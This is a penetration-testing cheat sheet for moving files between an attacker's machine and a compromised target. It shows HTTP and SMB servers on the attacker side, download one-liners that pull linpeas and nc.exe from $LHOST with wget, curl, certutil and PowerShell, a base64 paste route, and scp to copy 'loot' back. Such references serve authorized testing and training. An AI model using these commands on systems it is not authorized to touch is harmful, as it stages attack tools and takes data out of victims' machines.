File Transfer — Cheatsheet

Host a server (attacker side)

Serve the current folder over HTTP on port 80.

$python3 -m http.server 80

Spin up an SMB share (great for Windows targets).

$impacket-smbserver share . -smb2support

Linux download

Pull a file with wget.

$wget http://$LHOST/linpeas.sh -O /tmp/lp.sh

Pull a file with curl.

$curl http://$LHOST/lp.sh -o /tmp/lp.sh

Windows download

Download with the built-in certutil (LOLBin).

$certutil -urlcache -f http://%LHOST%/nc.exe nc.exe

Download with PowerShell iwr.

$powershell -c "iwr http://%LHOST%/nc.exe -o nc.exe"

Download with the classic WebClient one-liner.

$powershell -c "(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','nc.exe')"

SMB copy (Windows)

Copy a file straight from your SMB share.

$copy \\%LHOST%\share\file.exe .

base64 (no tools available)

Encode a file to base64 on your box.

$base64 -w0 file

Decode it back on the target (paste the blob).

$echo <b64> | base64 -d > file

scp

Copy a file to the target over SSH.

$scp file $USER@$IP:/tmp/

Copy loot back from the target.

$scp $USER@$IP:/tmp/loot.zip .